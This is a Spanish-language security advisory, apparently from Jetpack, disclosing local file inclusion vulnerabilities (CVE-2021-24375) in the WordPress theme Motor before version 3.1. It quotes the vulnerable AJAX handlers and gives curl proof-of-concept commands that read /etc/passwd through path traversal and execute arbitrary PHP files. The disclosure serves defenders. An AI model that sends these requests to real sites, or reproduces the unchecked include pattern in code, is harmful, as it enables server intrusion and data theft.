Vulnerabilidades encontradas en el tema Motor para WordPress < 3.1

Durante una auditoría del tema Motor (nombre completo «Motor – Tienda de coches, piezas, servicio, equipamiento y accesorios para WooCommerce» de Stockware) para WordPress, encontramos varias vulnerabilidades bastante graves.

Estas vulnerabilidades permitirían a un atacante no autenticado obtener acceso de lectura completo a los archivos del sistema de archivos del servidor del sitio y también ejecutar cualquier script de PHP que encontrase en dicho sistema de archivos. No identificamos ninguna vulnerabilidad de carga de archivos en el tema Motor, pero estas vulnerabilidades, combinadas con otros plugins vulnerables, podrían permitir que un atacante se hiciera completamente con el control del sitio.

Informamos de estas vulnerabilidades a la tienda de temas, que posteriormente se puso en contacto con el proveedor del tema para comunicarle nuestros hallazgos. El 3 de junio de 2021 se publicó una versión corregida del tema, la 3.1. Recomendamos a todo el mundo que utilice este tema que lo actualice inmediatamente a la última versión.

Las vulnerabilidades

Nuestro equipo descubrió varios endpoints AJAX sin proteger que utilizaba el tema y que eran vulnerables a un ataque de inclusión local de archivos.

Vulnerabilidad de inclusión de archivos locales
Versiones afectadas: < 3.1
ID de CVE: CVE-2021-24375
CVSSv3.1: 8.6
CWE: CWE-23, CWE-36
CWSS: 81.9

// Load More Ajax
add_action('wp_ajax_nopriv_motor_load_more', 'motor_load_more');
add_action('wp_ajax_motor_load_more', 'motor_load_more');
function motor_load_more () {
     if (isset($_POST['file'])) {
         //include( trailingslashit( get_template_directory() ) . $_POST['file'] );
         include($_POST['file']);
     }
     die();
} 

Esto permite a cualquier visitante enviar solicitudes que contengan el nombre de un archivo que se leerá e incluirá durante el procesamiento de la solicitud, lo que podría revelar información confidencial contenida en el sistema de archivos.

Prueba de concepto (PoC)

% curl -i -F 'file=/etc/passwd' -F 'action=motor_load_more' localhost:8888/wp-admin/admin-ajax.php 

La versión 2.0 del tema no es vulnerable al recorrido de rutas absolutas (CWE-36), pero utilizar una ruta relativa, como file=../../../../../../etc/passwd produce el mismo resultado.

Si se trata de un archivo PHP, se ejecutará su código.

PoC

% curl -F 'file=../malicious.php' -F 'action=motor_load_more' 'localhost:8888/wp-admin/admin-ajax.php' 

Vulnerabilidad de inclusión de archivos locales
Versiones afectadas: < 3.1
ID de CVE: CVE-2021-24375
CVSSv3.1: 5.8
CWE: CWE-23, CWE-36
CWSS: 73.7

// Quick View Ajax
add_action('wp_ajax_nopriv_motor_quick_view', 'motor_quick_view');
add_action('wp_ajax_motor_quick_view', 'motor_quick_view');
function motor_quick_view () {
    if ( ! isset( $_REQUEST['product_id'] ) ) {
        die();
    }

    $product_id = intval( $_REQUEST['product_id'] );

    wp( 'p=' . $product_id . '&post_type=product' );

    if (isset($_POST['file'])) {
        get_template_part($_POST['file']);
    }
    die();
}

También se utiliza un patrón de código idéntico para el motor_quick_project_view que solo está disponible en la versión 3.x del tema.

Estas variantes son ligeramente diferentes, ya que requieren un product_id (o project_id) como parámetro URL o en los datos POST. Sin embargo, este parámetro no se valida, por lo que cualquier valor es válido.

Estos vectores de ataque no incluyen directamente el archivo, sino mediante get_template_part, una función de WordPress incluida en la API. Aunque resulta tentador pensar que, en WordPress, la API garantiza la seguridad de la inclusión del archivo, en realidad no valida el argumento de entrada. Esa es responsabilidad de quien realiza la llamada.

La versión 2.x del tema permite al atacante leer archivos arbitrarios de cualquier tipo y ejecutar scripts arbitrarios de PHP. Sin embargo, la versión 3.0 solo permite ejecutar scripts de PHP. En ambas versiones hay que utilizar un recorrido de rutas relativas (CWE-23), ya que estos vectores de ataque no son vulnerables al recorrido de rutas absolutas.

En la versión 3.0, la ruta es relativa al directorio raíz de WordPress.

PoC

% curl -F 'file=malicious -F 'action=motor_quick_view' 'localhost:8888/wp-admin/admin-ajax.php?product_id=42'

En la versión 2.0, la ruta es relativa al directorio de plantillas del tema.

PoC

% curl -F 'file=../../../malicious.php' -F 'action=motor_quick_view' 'localhost:8888/wp-admin/admin-ajax.php?product_id=42'

Cronología

2021-05-12: Vulnerabilidad encontrada / PoC creada

2021-05-12: Se contactó con Envato Market sobre el problema

2021-05-18: Se informaron los problemas al programa Helpful Hacker de Envato

2021-05-24: El equipo de Envato confirmó la recepción del informe

2021-06-03: Se publicó la versión actualizada

Créditos

Esta divulgación de seguridad fue posible gracias a Harald Eilertsen, Fioravante Souza y Benedict Singer, del equipo de Jetpack Security, y a kailoon, del programa Helpful Hacker de Envato. También damos las gracias a Stockware por proporcionarnos la versión corregida del tema para que pudiéramos verificar las correcciones.

Conclusión

Te recomendamos que compruebes la versión actual del tema Motor que utilizas en tu sitio y que, si es anterior a la 3.1, lo actualices cuanto antes.

En Jetpack, nos esforzamos para asegurarnos de que tus sitios web estén protegidos frente a este tipo de vulnerabilidades. Para ir un paso por delante de las nuevas amenazas, echa un vistazo a Jetpack Scan, que incluye análisis de seguridad y eliminación automática de malware.

Explora las ventajas de Jetpack

Descubre cómo Jetpack puede ayudarte a proteger, acelerar y hacer crecer tu sitio de WordPress.

Explorar planes

¿Tienes alguna pregunta?

La sección de comentarios está cerrada para este artículo, pero seguimos aquí para ayudarte. ¡Visita el foro de soporte y estaremos encantados de responder a tus preguntas!

Ver foro de soporte